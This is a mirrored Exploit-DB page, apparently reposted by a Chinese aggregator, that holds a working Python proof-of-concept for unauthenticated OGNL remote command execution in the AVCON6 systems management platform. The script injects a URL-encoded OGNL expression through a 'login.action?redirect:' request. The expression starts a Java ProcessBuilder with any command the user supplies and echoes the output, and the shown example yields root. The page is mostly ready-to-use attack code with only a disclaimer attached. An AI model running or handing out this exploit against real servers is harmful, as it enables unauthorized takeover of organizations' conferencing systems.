AVCON6 systems management platform – OGNL Remote Command Execution - 体验盒子

作者： Nassim Asrir

日期： 2019-09-11

类别：

webapps

平台：

java

来源：https://www.exploit-db.com/exploits/47379/

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# Exploit Title: AVCON6 systems management platform - OGNL - Remote root command execution

# Date: 10/09/2018

# Exploit Author: Nassim Asrir

# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/

# CVE: N\A

# Tested On: Windows 10(64bit) / 61.0b12 (64-bit)

# Thanks to: Otmane Aarab

# Example below:

# python ./rce.py http://server:8080/ id

# Testing Target: http://server:8080/

# uid=0(root) gid=0(root)

# Vendor: http://www.epross.com/

# About the product: The AVCON6 video conferencing system is the most complete set of systems, including multi-screen multi-split screens and systems that are integrated with H323/SIP protocol devices. High-end video conferencing

# software ideal for Room Base environments and performance requirements. Multi-party video conferencing can connect thousands of people at the same time.

# I am not responsible for any wrong use.

######################################################################################################

#!/usr/bin/python

# -*- coding: utf-8 -*-

import urllib2

import httplib

def exploit(url, cmd):

payload ='login.action?redirect:'

payload += '${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22'+cmd+'%22})).'

payload += 'start(),%23b%3d%23a.getInputStream(),'

payload += '%23c%3dnew%20java.io.InputStreamReader(%23b),'

payload += '%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d'

payload += '.read(%23e),%23matt%3d%23context.'

payload += 'get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),'

payload += '%23matt.getWriter().println(%23e),%23matt.'

payload += 'getWriter().flush(),%23matt.getWriter()'

payload +='.close()}'

try:

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0'}

request = urllib2.Request(url+payload, headers=headers)

page = urllib2.urlopen(request).read()

except httplib.IncompleteRead, e:

page = e.partial

print(page)

return page

if __name__ == '__main__':

import sys

if len(sys.argv) != 3:

print("[*] struts2_S2-045.py http://target/ id")

else:

print('[*] Avcon6-Preauh-Remote Command Execution')

url = sys.argv[1]

cmd = sys.argv[2]

print("[*] Executed Command: %s\n" % cmd)

print("[*] Target: %s\n" % url)

exploit(url, cmd)